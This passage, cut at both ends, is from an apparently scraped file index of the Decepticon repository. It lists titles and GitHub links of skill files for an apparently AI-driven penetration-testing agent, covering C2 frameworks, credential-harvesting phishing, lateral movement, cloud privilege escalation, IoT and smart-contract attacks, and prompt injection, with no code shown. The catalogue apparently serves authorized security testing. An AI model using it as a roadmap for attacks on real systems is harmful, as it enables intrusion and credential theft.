`packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md":"# macos\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/macos/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md":"# linux-privesc-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md":"# lateral-movement\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/lateral-movement/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md":"# credential-access\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/credential-access/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md":"# c2-sliver\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-sliver/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md":"# c2-domain-fronting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-domain-fronting/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md":"# c2-cobalt-strike\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-cobalt-strike/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md":"# c2-alternative-channels\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md":"# c2\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/c2/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md":"# quishing\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md":"# pretext-engineering\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pretext-engineering/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md":"# pdf-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/pdf-credential-harvest/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md":"# o365-credential-harvest\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md":"# mfa-fatigue-social\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/mfa-fatigue-social/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md":"# lure-deconfliction\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lure-deconfliction/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md":"# lookalike-domain\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/lookalike-domain/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md":"# html-smuggling-lure\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/html-smuggling-lure/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md":"# gophish-campaign\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/gophish-campaign/SKILL.md)","packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md":"# evilginx2-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/phisher/evilginx2-proxy/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md":"# flutter\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/flutter/SKILL.md)","packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md":"# android\n\nPath: `packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/mobile/android/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md":"# ros2-dds-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md":"# lorawan-otaa\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/lorawan-otaa/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md":"# hardcoded-creds\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/hardcoded-creds/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md":"# firmware-acquisition\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/firmware-acquisition/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md":"# dev-mem\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md":"# bootloader-uboot\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md":"# ble-gatt\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/ble-gatt/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md":"# binwalk-extract\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/binwalk-extract/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md":"# sub-ghz\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/sub-ghz/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md":"# z-wave\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md)","packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md":"# zigbee-touchlink\n\nPath: `packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/iot/zigbee-touchlink/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md":"# web\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/web/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md":"# supplychain\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/supplychain/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md":"# rmm-tool-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md":"# ics-ot\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md":"# edge-device-exploitation\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md":"# cicd\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md":"# api\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md)","packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md":"# pentest-task-tree\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md":"# orchestration\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md":"# kill-chain-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md":"# kali-mcp-bridge\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md":"# final-report\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md":"# engagement-startup\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md)","packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md":"# engagement-lifecycle\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md":"# signature-replay\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md":"# reentrancy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md":"# oracle-manipulation\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md":"# mev-sandwich\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md":"# governance-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md":"# flash-loan\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md":"# bridge-exploit\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md":"# access-control\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md)","packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md":"# upgradeable-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md":"# s3-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md":"# m365-mailbox-compromise\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md":"# k8s-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md":"# imds-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md":"# gcp-svc-account-impersonation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md":"# gcp-org-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md":"# entra-privesc\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md":"# entra-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md":"# entra-device-code-phishing\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md":"# entra-conditional-access-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md":"# container\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md":"# azure-managed-identity\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md":"# aws-iam-passrole-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md":"# aws-iam-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md)","packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md":"# terraform-state-leak\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md":"# sensitive-information-disclosure\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md":"# redos\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md":"# prototype-pollution\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md":"# prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md":"# pattern-exhaustion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md":"# path-traversal\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md":"# ml-model-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md":"# misinformation\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md":"# improper-output-handling\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md`\n\n[View Raw Content on 